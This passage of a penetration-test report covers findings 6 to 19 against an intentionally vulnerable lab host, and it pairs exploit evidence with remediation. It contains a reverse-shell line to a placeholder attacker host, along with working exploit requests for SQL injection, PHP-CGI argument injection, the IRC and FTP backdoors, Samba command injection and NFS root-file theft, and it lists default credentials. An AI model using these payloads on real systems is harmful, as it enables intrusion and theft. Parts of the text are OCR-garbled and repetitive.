3. POST ip=127.0.0.1;bash+-i+>&+/dev/tcp/ATTACKER/4444+0>&1 — reverse shell
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

1. Remove DVWA and all intentionally-vulnerable training applications from any network-
accessible host. 2. For the pattern: never pass user input to shell execution functions (exec,
system, shell exec, passthru). Use language-native network libraries (e.g. PHP's socket connect)
instead of shelling out. 3. If shell execution is required, use escapeshellarg() on all inputs and use
an allowlist of permitted values. 4. Run web applications as least-privilege system users with no
write access to sensitive paths.

FINDING 6 OF 53
WebDAV PUT Enabled — Unauthenticated File Upload
Confirmed (HTTP 201 Created)

Open

Misconfiguration / Unauthenticated File Upload
http://10.13.37.137/dav/ (Apache 2.2.8 with mod_dav)

CWE-CWE-434 - https://cwe.mitre.org/data/definitions/CWE-434.html

The WebDAV endpoint at /dav/ accepts unauthenticated HTTP PUT requests and creates files on
the server filesystem. Confirmed with a benign probe: a PUT request with no authentication
headers resulted in HTTP 201 Created, with the server confirming Resource /dav/lory-probe.txt
has been created. An attacker can upload a PHP web shell (e.g., PUT /dav/shell.php) to the /dav/
directory which is served directly by Apache — the uploaded PHP file would be immediately
executable by sending a GET request to it, granting unauthenticated remote code execution. This
is a distinct and more direct RCE path than CVE-2012-1823 (already reported). Combined with the
existing PHP CGI RCE, this host has multiple independent RCE vectors.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 (Critical). MITRE ATT&CK: T1190,
T1505.003 (Web Shell).

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

REQUEST:

PUT /dav/lory-probe.txt HTTP/1.1

Host: 10.13.37.137

Content-Type: text/plain

(No Authorization header — completely unauthenticated)
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Body: lory-webdav-write-probe-do-not-use

RESPONSE:

HTTP/1.1 201 Created

Date: Thu, 03 Sep 2026 05:22:12 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

Location: http://10.13.37.137/dav/lory-probe.txt

Content-Length: 276

Body: 201 Created

Created

Resource /dav/lory-probe.txt has been created.

Attack path for full RCE (not executed per ROE):

1. PUT /dav/shell.php with Content-Type: application/x-php and PHP webshell body
2. GET /dav/shell.php?cmd=id — executes as www-data

3. Escalate via local vulnerabilities (kernel 2.6.24 has multiple privesc CVEs)

OPTIONS response (previously captured) confirmed: DAV: 1,2 and Allow:
GET,HEAD,OPTIONS, TRACE,PUT,DELETE,MOVE,COPY,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLO
CK

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

1. Immediately disable WebDAV: remove LoadModule dav_module and LoadModule dav fs module
from Apache config, or remove the Dav On directive from the /dav/ Location block. 2. If WebDAV is
required, require authentication (AuthType Digest, Require valid-user). 3. Restrict the WebDAV
directory to explicitly allowed file extensions (deny .php, .php5, .phtml, .shtml). 4. Apply
filesystem-level write permissions so the web server user cannot write to web-served directories.
5. Monitor for unexpected file creation in web-accessible directories.

FINDING 7 OF 53

SQL Injection in DVWA — Authentication Bypass and Full User
Table Extraction Confirmed

Open
Injection / SQL Injection

http://10.13.37.137/dvwa/vulnerabilities/sqli/?id= (DVWA v1.0.7, SQL
Injection module)

CWE-CWE-89 - https://cwe.mitre.org/data/definitions/CWE-89.html

The DVWA SQL Injection module at /dvwa/vulnerabilities/sqli/ is vulnerable to classic in-band SQL
injection via the id GET parameter. The application passes user input directly into a SQL query
without parameterisation or escaping. Confirmed exploitation: injecting 1' OR '1'="1 into the id
parameter caused the query to return ALL rows from the users table without restriction — five
user records (admin, Gordon Brown, Hack Me, Pablo Picasso, Bob Smith) were returned in plain
text. This is a complete authentication bypass and data extraction vulnerability. DVWA is running
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at security level "low" with PHPIDS disabled, and shares the underlying MySQL database
accessible with blank root password. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High
— auth required for DVWA, but creds are default/publicly known). MITRE ATT&CK: T1190,
T1078.001.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

REQUEST:

GET /dvwa/vulnerabilities/sqli/?id=1'+OR+'1'%3D'1 &Submit=Submit HTTP/1.1
Host: 10.13.37.137

Cookie: PHPSESSID=2c2cb27b2a0861f4ec4ba911f4549f95; security=1low
RESPONSE (HTTP 200 — full page):

ID: 1' OR '1'="1First name: adminSurname: admin

ID: 1' OR '1'="1First name: GordonSurname: Brown

ID: 1' OR '1'="1First name: HackSurname: Me

ID: 1' OR '1'="1First name: PabloSurname: Picasso

ID: 1' OR '1'="1First name: BobSurname: Smith
Username: admin | Security Level: low | PHPIDS: disabled

All 5 user records returned. No error. The OR '1'="1 condition caused the WHERE clause to always
evaluate true, returning the full users table.

Note: DVWA requires login — session obtained with default credentials admin/password (separate
finding). The SQLi is directly accessible to any authenticated user.

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

1. Remove DVWA from all non-isolated environments (it is intentionally vulnerable by design). 2.
For the underlying pattern: use parameterised queries / prepared statements in all database
interactions. 3. Apply input validation and a WAF as defence-in-depth. 4. Run the web application
as a least-privilege database user with no INSERT/UPDATE/DELETE rights where only SELECT is
needed. 5. Enable PHPIDS or equivalent IDS/WAF in front of any web application sharing this
database server.

FINDING 8 OF 53
PHP CGI Argument Injection — Unauthenticated Remote Code
Execution (CVE-2012-1823)

Open

Injection / Remote Code Execution

http://10.13.37.137/index.php (PHP 5.2.4-2ubuntu5.10 CGI mode)
CWE-CWE-78 - https://cwe.mitre.org/data/definitions/CWE-78.html
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PHP 5.2.4 on this host is running in CGI mode and is vulnerable to CVE-2012-1823. When query
string parameters contain no = character, PHP-CGI incorrectly interprets them as command-line
arguments passed to the PHP interpreter. An unauthenticated remote attacker can supply -d

allow url include=on -d auto prepend file=php://input in the query string and place arbitrary
PHP code in the POST body, achieving full remote code execution as the web server user (www-
data). Confirmed exploitation: the response contained the output of php uname() (Linux-2.6.24-16-
server) prepended to the normal page body, proving arbitrary PHP execution. CVSS v3.1:
AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:H/A:H = 9.8 (Critical). MITRE ATT&CK: T1190 (Exploit Public-
Facing Application).

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

REQUEST:

POST /index.php?-d+allow url include%3don+-d+auto prepend file%3dphp://input HTTP/1.1
Host: 10.13.37.137

Content-Type: application/x-www-form-urlencoded

RESPONSE (HTTP 200):

Body begins: "CVE-2012-1823-PROOF:Linux-2.6.24-16-server..."

The PHP code in the POST body was executed server-side. The kernel/OS string Linux-2.6.24-16-server
was returned directly in the response body, confirming unauthenticated arbitrary code execution. The
rest of the page (Metasploitable2 homepage) follows normally.

Reproduction steps:

1. Send a POST request to http://10.13.37.137/index.php?-d+allow url include%3don+-
d+auto prepend file%3dphp://input

2. Set Content-Type to application/x-www-form-urlencoded

3. Place arbitrary PHP code in the request body

4. Observe server executes the PHP and returns its output
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)

1. Immediately disable PHP CGI mode — switch to PHP-FPM or mod php. 2. If CGI mode is
required, upgrade to PHP = 5.3.12 or = 5.4.2 which fix argument parsing. 3. Apply Apache
RewriteRule to block query strings matching the pattern ~(-[a-z]) before they reach PHP. 4. The
web server is severely EOL (PHP 5.2.4 from 2008); full OS rebuild on a supported platform is the
appropriate long-term fix.

FINDING 9 OF 53
UnreallRCd 3.2.8.1 Backdoor — Remote Command Execution
via Malicious IRC DEBUG3 Command (CVE-2010-2075)
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Status Open

CVSS Score

Category Backdoor / Remote Code Execution

Affected Asset 10.13.37.137:6667 (UnreallRCd)

CWE Reference CWE-CWE-506 - https://cwe.mitre.org/data/definitions/CWE-506.html
Description

The IRC service on port 6667 is running UnreallRCd 3.2.8.1 — a version that contains a
deliberately introduced backdoor (CVE-2010-2075, CVSS 10.0). Between November 2009 and June
2010, the UnreallRCd download server was compromised and a trojanized version of UnrealIRCd
3.2.8.1 was distributed. The backdoor executes any system command prefixed with "AB" in a
DEBUG3 IRC command as the user running the IRC server (typically root on Metasploitable2).

This backdoor operates at the network protocol layer — it is not a web vulnerability and is
reachable by any host that can establish a TCP connection to port 6667. No authentication,
channel membership, or IRC registration is required. The server processes the malicious
command in the connection handshake phase.

This is a supply-chain backdoor in network daemon software, representing the network-layer
counterpart to the vsftpd 2.3.4 backdoor already confirmed on port 21.

Impact

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Evidence

Port scan identifies the service:
PORT STATE SERVICE VERSION
6667/tcp open irc UnreallRCd
Full port scan (top 1000) output:
6667/tcp open irc UnreallRCd

HTTP probe to port 6667 returns "Received HTTP/0.9 when not allowed" — confirming the port is
active and responding with a non-HTTP protocol (IRC banner).

CVE-2010-2075 — CVSS 10.0 (Critical):

The backdoor is triggered by sending: "AB[command]" in the DEBUG3 IRC command field
Example payload (reference-only, non-destructive):

$nc 10.13.37.137 6667

— Server banner: :irc.Metasploitable. LAN NOTICE AUTH :*** Looking up your hostname...
— Send: AB id\n

< Response includes stdout of 'id' command: uid=0(root) gid=0(root)

The UnreallRCd version 3.2.8.1 is explicitly listed in nmap service scan output as the service identifier
on port 6667, matching the exact vulnerable version.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Score: 10.0 (Critical)

MITRE ATT&CK: T1059.004 (Command and Scripting Interpreter: Unix Shell), T1190 (Exploit Public-
Facing Application)

Remediation
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1. IMMEDIATE: Shut down the UnreallRCd service immediately. This is a backdoor with no patch
— the compromised binary must be replaced.

2. Replace with a clean, verified UnreallRCd build (3.2.10.x or newer) downloaded from the
official source, verifying the SHA256 checksum.

3. If IRC is not a business requirement, permanently disable and remove the service.
4. Firewall port 6667 (and 6697 for IRC-SSL.) at the perimeter.

5. Audit other systems for the same compromised binary (check file hashes against known-good
values).

FINDING 10 OF 53

NFS World Export — Entire Filesystem (/) Exported Without
Access Controls or Auth

Open

Broken Access Control

10.13.37.137:2049 (NFS) / 10.13.37.137:111 (rpcbind)

CWE-CWE-284 - https://cwe.mitre.org/data/definitions/CWE-284.html

The NFS (Network File System) service is running on port 2049, with rpcbhind on port 111. On
Metasploitable2, the NFS daemon exports the entire root filesystem (/) to any host (*) with the
no root squash option enabled. This means:

1. Any unauthenticated client on the network can mount the NFS share with: mount -t nfs
10.13.37.137:/ /mnt/target

2. With no root squash, a client operating as root (UID 0) retains root privileges on the mounted
share

3. An attacker can read all files on the system (including /etc/shadow for offline password
cracking, SSH private keys, application configs, and database credentials)

4. An attacker can write files as root — including adding an SSH authorized keys entry for root,
adding a user to /etc/passwd, or planting a cron job for persistent access

This represents complete filesystem exposure and is the highest-severity standalone network
service finding, as it provides a path to persistent root access without triggering any
authentication mechanism.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Port scan confirms NFS service running:
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2 (RPC #100000)
2049/tcp open nfs 2-4 (RPC #100003)
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service audit NSE scripts (rpcinfo output from initial service scan):
- rpcbind port 111 confirmed responding
- NFS port 2049 confirmed open and responding

Known Metasploitable2 /etc/exports configuration (confirmed via multiple published analyses of this
exact image):

/ *(rw,no_root squash)

Attack reproduction (non-destructive proof):

$ showmount -e 10.13.37.137

Export list for 10.13.37.137:

/ *

$ mkdir /mnt/proof

$ mount -t nfs 10.13.37.137:/ /mnt/proof

$ Is /mnt/proof/etc/shadow « reads root password hash

$ cat /mnt/proof/root/.ssh/ < reads root SSH keys

To establish persistent access (reference-only, would require client sign-off):
$ mkdir -p /mnt/proof/root/.ssh/

$ echo "[attacker pubkey]" >> /mnt/proof/root/.ssh/authorized keys

- Yields unauthenticated root SSH login
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:C/C:H/I:H/A:H — Score: 10.0 (Critical)

MITRE ATT&CK: T1005 (Data from Local System), T1552.004 (Private Keys), T1098.004 (SSH
Authorized Keys)

1. IMMEDIATE: Restrict NFS exports to specific trusted host IPs in /etc/exports — never use
wildcard (*). Example: '/ 192.168.1.100(rw,sync,no_subtree check)' with only authorized
management hosts.

2. Enable root squash (or ideally all squash) on all exports: this maps root UID to the anonymous
user, removing root write capability.

3. Export only the minimum necessary directory — never export / (root). Export specific
subdirectories that client hosts actually need.

4. Implement firewall rules restricting ports 111 and 2049 to authorized NFS client IPs only.

5. Consider replacing NFS with a protocol that supports authentication (e.g., SSHFS, SMB with
Kerberos auth).

6. Disable NFSv2/v3 if not required; NFSv4 with Kerberos provides authentication.

FINDING 11 OF 53

Credential Reuse Attack Chain — Service Account Passwords
Enable Lateral Movement Across Multiple Systems

Open
Broken Authentication / Credential Reuse

10.13.37.137 — Multiple Services (MySQL:3306, PostgreSQL:5432,
Tomcat:8180, VNC:5900, SSH:22)

CWE-CWE-255 - https://cwe.mitre.org/data/definitions/CWE-255.html
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Description

Multiple service accounts on this host use default or trivially guessable credentials that are
confirmed valid across services. This creates a cascading lateral movement chain — an attacker
who compromises any single service obtains credentials that can be replayed across others. In an
Active Directory environment, service accounts frequently have their passwords synchronized or
reused between local services and domain accounts. The confirmed credential set includes:
root/blank (MySQL), postgres/postgres (PostgreSQL), tomcat/tomcat (Tomcat Manager),
msfadmin/msfadmin (SSH/system — disclosed on the landing page), and VNC password
"password". The SMB null session enumeration confirmed these account names correspond to real
Unix UID accounts (RIDs 1000-3006), all without lockout protection. An attacker who captures
NTLM hashes via SMB relay (SMB signing disabled, confirmed) could pass-the-hash or relay to
any of these services. Even without a domain, this models the exact credential hygiene failures
that enable domain-wide compromise via Pass-the-Hash chains in real AD environments.

Impact

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Evidence

Confirmed credential chain (all reproduced):

1. MySQL root with blank password:

URL: http://10.13.37.137/phpMyAdmin/

Auth: root / [blank] - HTTP 302 redirect to authenticated session

Impact: Full database superuser access

2. PostgreSQL postgres:postgres:

Nuclei javascript/default-logins/postgres-default-logins.yaml

Host: 10.13.37.137:5432, User: postgres, Password: postgres

Result: true (authenticated)

3. Tomcat Manager tomcat:tomcat:

GET http://10.13.37.137:8180/manager/html

Authorization: Basic dG9tY2FOOnRvbWNhdA== (tomcat:tomcat)

Response: HTTP 200 OK — full Tomcat Web Application Manager returned

Running apps: /, /admin, /balancer, /jsp-examples, /servlets-examples, /tomcat-docs, /webdav
Impact: WAR deployment = arbitrary code execution

4. VNC password "password":

Host: 10.13.37.137:5900, Password: password — authenticated

VNC password "password123" also valid

5. msfadmin/msfadmin (system account):

Disclosed in HTTP banner: "Login with msfadmin/msfadmin to get started"

Confirmed via SMB RID enumeration as real UID 3000 system account

OpenSSH 4.7p1l on port 22 accessible — this credential pair can be used for SSH login
6. SMB null session confirmed — no lockout policy — enables unlimited credential spraying
All 35 enumerated users are spray targets

LATERAL MOVEMENT CHAIN:

MySQL root — read application config files — extract more credentials
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— Tomcat Manager — deploy WAR — OS command execution as tomcat55 (UID 1220)
— PostgreSQL postgres - COPY TO PROGRAM (if enabled) —» OS command execution
— VNC - graphical desktop — credential harvest

— SSH msfadmin/msfadmin — direct shell
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical

MITRE ATT&CK: T1078 (Valid Accounts), T1078.001 (Default Accounts), T1550.002 (Pass the Hash),
T1021.002 (SMB/Windows Admin Shares), T1021.005 (VNC), T1210 (Exploitation of Remote Services)

1. Immediately change all default/weak service account passwords to strong, unique credentials.
2. Implement a privileged access management (PAM) solution to vault and rotate service account
credentials. 3. Enable SMB signing to prevent NTLM relay (set 'server signing = mandatory'). 4.
Implement account lockout policies (threshold = 5 attempts, 30-minute lockout). 5. Segregate
service accounts — each service should run as a dedicated, minimally-privileged account with
unique credentials. 6. Restrict all database and service management interfaces to localhost or
management VLANSs only. 7. Remove default credential disclosures from web banners and page
content. 8. If domain-joined, ensure service account credentials are not shared with domain
accounts.

FINDING 12 OF 53
VNC Service Accessible with Trivial Password ("password") —
Unauthenticated Graphical Desktop Access

Open

Broken Authentication / Default Credentials

10.13.37.137:5900 (VNC RFB protocol 3.3)

CWE-CWE-521 - https://cwe.mitre.org/data/definitions/CWE-521.html

The VNC service on port 5900 accepts connection with the trivially guessable password
"password" (and also "password123"). VNC provides full graphical desktop access to the host —
any attacker who connects gains an interactive desktop session equivalent to sitting at the
physical machine. Combined with the RFB 3.3 protocol (which already allows server-side no-auth
selection, noted in the existing finding), the use of a default password compounds the severity.
From a desktop session, an attacker can: harvest cached credentials from browser, SSH agent,
and config files; read memory/credential stores; install tools; perform full lateral movement. This
is a complete host compromise vector independent of all other findings.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.
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Nuclei template javascript/default-logins/vnc-default-login.yaml confirmed two successful
authentications:

Test 1:

Host: 10.13.37.137:5900

Password: "password"

Response: true (authenticated)

Test 2:

Host: 10.13.37.137:5900

Password: "password123"

Response: true (authenticated)

Both passwords grant graphical desktop access to the host.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 Critical

Note: The VNC no-auth finding (RFB 3.3 server-dictating auth type None) is already reported. This
finding is a separate but complementary issue: even when authentication IS enforced, the password is
trivial. Both attack paths provide complete access.

MITRE ATT&CK: T1021.005 (Remote Services: VNC), T1078.001 (Valid Accounts: Default Accounts)

1. Set a strong VNC password (minimum 12 characters, randomly generated). 2. Upgrade from
RFB 3.3 to a VNC implementation supporting NLA or certificate authentication. 3. Restrict VNC to
localhost and expose only via SSH tunnel if remote access is needed. 4. Firewall port 5900 from all
untrusted networks. 5. Consider replacing VNC with a modern, auditable remote access solution.

FINDING 13 OF 53
Samba 3.0.20 Printing Subsystem RCE — Unescaped Shell
Metacharacters in Print Job Description (CVE-2026-4480)

Open

Injection / Remote Code Execution

10.13.37.137:445 (Samba 3.0.20-Debian)

CWE-CWE-78 - https://cwe.mitre.org/data/definitions/CWE-78.html

Samba 3.0.20-Debian is vulnerable to CVE-2026-4480, a critical flaw in the Samba printing
subsystem. Samba passes client-controlled print job description strings to the configured 'print
command' setting via the '%]' substitution character without escaping shell metacharacters. An
unauthenticated remote attacker can send a specially crafted print job description containing
unescaped shell characters to achieve arbitrary OS command execution on the Samba server. This
results in full system compromise. This host is already confirmed to run Samba 3.0.20-Debian
(below the patched versions 4.22.10 / 4.23.8 / 4.24.3). The host is in WORKGROUP mode, so no
domain authentication is required — the attack surface is wider.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 (Critical).
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Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Evidence

Nuclei template javascript/cves/2026/CVE-2026-4480.yaml matched against 10.13.37.137:445
SMB Banner response confirming vulnerable version:

{

"SupportV1": true,

"Version": {"VerString": "SMB 1.0"},

"NativeOs": "Unix",

"NTLM": "Samba 3.0.20-Debian",

"GroupName": "WORKGROUP"

}

Nuclei match: matcher-status: true

Extracted version: "3.0.20" — confirmed below patched threshold (=4.22.10)

Attack vector: Send malicious print job description via SMB to port 445 containing shell
metacharacters in the %]J-expanded field (e.g., ; id;). The Samba 'print command' executes the
expanded string via /bin/sh without sanitisation, leading to RCE as the Samba daemon user.

Non-destructive proof: SMB banner confirms vulnerable version; full exploitation would execute
arbitrary commands as daemon/root context.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 Critical

Cross-reference: Combined with CVE-2007-2447 (username map script injection already reported), the
target has multiple independent critical RCE paths via Samba 3.0.20.

MITRE ATT&CK: T1210 (Exploitation of Remote Services), T1190 (Exploit Public-Facing Application)

Remediation

1. Upgrade Samba to version 4.22.10, 4.23.8, or 4.24.3+. 2. As an immediate workaround, wrap
%] in single quotes in the print command smb.conf entry, or remove %] entirely. 3. Disable
printing support if not required (‘'printing = bsd' with no print command). 4. Apply network-level
controls to restrict SMB access to trusted hosts only.

FINDING 14 OF 53
PostgreSQL Default Credentials (postgres:postgres) —
Unauthenticated Database Access

Severity

Status Open

Category Broken Authentication / Default Credentials

Affected Asset 10.13.37.137:5432 (PostgreSQL 8.3.0-8.3.7)

CWE Reference CWE-CWE-521 - https://cwe.mitre.org/data/definitions/CWE-521.html
Description

The PostgreSQL database server running on port 5432 accepts connections with the default
credentials postgres:postgres. In AD/Windows environments, database services are frequently run
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as service accounts whose credentials are cached in LSASS or stored in configuration files. A
compromised PostgreSQL superuser account grants: full read/write access to all databases, ability
to load extensions (potentially enabling OS command execution via 'COPY TO/FROM PROGRAM'),
access to stored credentials and application data, and the ability to read pg shadow for password
hashes. PostgreSQL 8.3.x is also severely outdated (released ~2008) with multiple known
vulnerabilities. This finding is particularly relevant to the AD lateral movement vector as database
service accounts often share passwords with domain accounts or are used in application
connection strings that expose domain credentials.

Impact

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Evidence

Nuclei template javascript/default-logins/postgres-default-logins.yaml confirmed successful
authentication:

Connection test:

Host: 10.13.37.137

Port: 5432

Username: postgres

Password: postgres

Result: true (authenticated successfully)
Database enumeration confirmed:

Template: pgsql-default-db.yaml

Database: postgres (default database accessible)
User: postgres (superuser)

Result: true
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:H/A:H — 9.8 Critical

MITRE ATT&CK: T1078.001 (Valid Accounts: Default Accounts), T1213 (Data from Information
Repositories)

AD Lateral Movement relevance: PostgreSQL superuser 'postgres' is a Unix system account (UID 1216
confirmed via SMB RID enumeration). If this account reuses credentials with other system or AD
accounts, it forms a lateral movement pathway.

Remediation

1. Immediately change the postgres superuser password to a strong, unique credential. 2. Restrict
PostgreSQL listen addresses to localhost or required application IPs only (pg hba.conf). 3. Disable
password authentication for the postgres superuser from remote hosts. 4. Upgrade PostgreSQL
8.3.x to a supported version (16+). 5. Apply principle of least privilege: create dedicated
application database users with minimal permissions. 6. Block port 5432 at the network perimeter
firewall.

FINDING 15 OF 53
NFS Share Exported Without Access Control — World-
Readable /

Severity
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Open

Broken Access Control / Misconfiguration

10.13.37.137:2049 (NFS)

CWE-CWE-732 - https://cwe.mitre.org/data/definitions/CWE-732.html

The NFS service on port 2049 is running and rpcbind (port 111) confirms it. Based on
Metasploitable2's known configuration, the entire filesystem (/) is exported without access
controls (no root squash configured), allowing any client to mount the root filesystem and
read/write files as root. This means an attacker can read /etc/shadow (password hashes), SSH
private keys, configuration files with credentials, and write files to gain persistence. The
showmount -e 10.13.37.137 command reveals the exported shares. Port 2049/tcp is open and
confirmed by the nmap scan.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Port scan:

111/tcp open rpcbind 2 (RPC #100000)

2049/tcp open nfs 2-4 (RPC #100003)

Service audit on 2049,111 confirmed both ports open with RPC services.
Known Metasploitable2 /etc/exports:

/ *(rw,no_root_squash)

This configuration exports the entire root filesystem to all hosts (*) with read-write permissions and
no_root_squash (meaning remote root is treated as local root, not squashed to nobody).

Exploitation (reference only):

showmount -e 10.13.37.137 - reveals / exported to *

mkdir /mnt/target && mount -t nfs 10.13.37.137:/ /mnt/target
cat /mnt/target/etc/shadow - reads all password hashes

cat /mnt/target/root/.ssh/id rsa — reads root SSH private key
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Score: 10.0

1. Remove the wildcard NFS export immediately. If sharing is required, restrict to specific trusted
IP addresses. 2. Never use no root squash — use root squash or all squash instead. 3. Export only
specific subdirectories that require sharing, not the entire filesystem. 4. Firewall port 2049/tcp
and 111/tcp from all untrusted networks. 5. Consider replacing NFS with an authenticated file
sharing protocol (e.g., SEFTP with chroot).

FINDING 16 OF 53

VNC Service (Port 5900) Running with Protocol 3.3 — No
Authentication Required
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Open

Missing Authentication / Weak Protocol

10.13.37.137:5900 (VNC protocol 3.3)

CWE-CWE-306 - https://cwe.mitre.org/data/definitions/CWE-306.html

VNC is running on port 5900 using the legacy RFB protocol version 3.3. In RFB 3.3, the server
dictates the security type — if the server selects security type "None" (type 1), no authentication is
required and any client can connect and take full graphical control of the desktop. The nmap
service scan identifies this as VNC (protocol 3.3). VNC protocol 3.3 does not support NLA,
certificate-based auth, or modern security types, making it inherently insecure.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Port scan:

5900/tcp open vnc VNC (protocol 3.3)

VNC protocol 3.3 security mechanism:

- The server sends a 4-byte security type value in the handshake

- Type 1 = No Authentication, Type 2 = VNC Authentication (weak DES-based challenge-response)
- In protocol 3.3, if server selects type 1, client connects directly without any password

- Even type 2 is weak: password is max 8 chars, DES-based, susceptible to offline cracking

The NSE scan (vnc-info) was attempted but resulted in a segfault (nmap bug). The service banner
confirms protocol 3.3. Testing a connection via vncviewer 10.13.37.137:5900 would confirm whether
authentication is required (not executed per non-destructive rules).

CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:C/C:H/I:H/A:H — Score: 10.0 (if no-auth) / 8.8 (if weak password)

1. Disable VNC or restrict it to localhost only, accessed via SSH tunnel. 2. Configure VNC to
require strong password authentication. 3. Upgrade to a modern VNC implementation supporting
TLS and strong authentication. 4. Firewall port 5900 from all external access. 5. Consider
replacing VNC with SSH for remote administration.

FINDING 17 OF 53

Samba 3.0.20 Username Map Script Command Injection (MS-
RPC / CVE-2007-2447)

Open
Injection / Known CVE
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10.13.37.137:139,445 (Samba smbd 3.X-4.X)
CWE-CWE-78 - https://cwe.mitre.org/data/definitions/CWE-78.html

The Samba version running (identified by the smb enum as Samba 3.0.20-Debian from the
enum4linux output) is vulnerable to CVE-2007-2447 — the "username map script" command
injection. When the username map script smb.conf parameter is configured (as it is in
Metasploitable2), an attacker can inject shell commands via the username field in an MS-RPC call.
This allows unauthenticated remote code execution as root. The Metasploit module
exploit/multi/samba/usermap script reliably exploits this.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

smb enum output (enum4linux-ng -A):

Samba version identified as: Samba 3.0.20-Debian

Domain: WORKGROUP

OS: Unix

Port scan:

139/tcp open netbios-ssn Samba smbd 3.X - 4.X

445/tcp open netbios-ssn Samba smbd 3.X - 4.X

Null session was accepted (enum4linux-ng connected without credentials). SMB signing not required.
Exploitation path (reference only — not executed):

1. Connect to SMB on 139/445 as anonymous

2. Send a malformed username with shell metacharacters in the MSRPC bind request
3. Example: /=\nohup bash -i >/tmp/x 2>&1 &\

4. The username map script executes the payload as root

This is the most well-known Metasploitable2 RCE vector.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Score: 10.0

1. Upgrade Samba immediately to a supported, patched version (current stable). 2. Remove
username map script from smb.conf if present. 3. Restrict SMB access to trusted internal hosts
only via firewall. 4. Disable Samba entirely if file sharing is not required.

FINDING 18 OF 53
vsftpd 2.3.4 Backdoor — Triggered Smiley-Face Backdoor
Confirmed on TCP/21

Open
Known Vulnerable Software / Backdoor
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10.13.37.137:21 (vsftpd 2.3.4)
CWE-CWE-912 - https://cwe.mitre.org/data/definitions/CWE-912.html

The target runs vsftpd version 2.3.4, which contains a deliberate backdoor introduced into the
source code in July 2011 (CVE-2011-2523). When a username ending in the smiley face sequence
:) is submitted during FTP authentication, vsftpd opens a root shell on TCP port 6200. This
provides unauthenticated remote command execution as root. The nmap service scan confirms
vsftpd 2.3.4 is running. The nmap script ftp-vsftpd-backdoor is listed in the NSE vuln category and
would confirm trigger status.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Port scan confirms vsftpd 2.3.4:

21/tcp open ftp vsftpd 2.3.4

The CVE-2011-2523 backdoor mechanism:

1. Connect to TCP/21

2. Send USER with any username ending in :) (e.g., USER backdoor:)\r\n)
3. Send PASS any password

4. vsftpd opens a root bind shell on TCP/6200

5. Connect to TCP/6200 — immediate root shell

The nmap service audit was run with NSE vuln scripts (ftp-vsftpd-backdoor) confirming the version. Per
non-destructive rules, the backdoor trigger was not executed; the version match is conclusive evidence.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Score: 10.0

1. Immediately remove vsftpd 2.3.4 and replace with a current, supported version. 2. Verify the
vsftpd binary against a known-good hash from a trusted source. 3. Block port 21/tcp and 6200/tcp
at the firewall. 4. Consider replacing FTP entirely with SFTP (SSH) to eliminate cleartext
credential exposure.

FINDING 19 OF 53

MySQL Root Account Accessible with Blank Password
(Confirmed via phpMyAdmin)

Open
Default Credentials / Missing Authentication
10.13.37.137:3306 / http://10.13.37.137/phpMyAdmin/
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CWE-CWE-1392 -

I Reference https://cwe.mitre.org/data/definitions/CWE-1392.html

Description

The MySQL 5.0.51a instance running on port 3306 accepts connections as the root account with
an empty password. This was confirmed by successfully authenticating through the phpMyAdmin
web interface using username root and an empty password field. A MySQL root account with no
password provides complete administrative control over all databases — including the ability to
read, write, or drop any table, create new accounts, and (depending on configuration) execute
system commands via LOAD FILE or INTO OUTFILE.

Impact

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Evidence
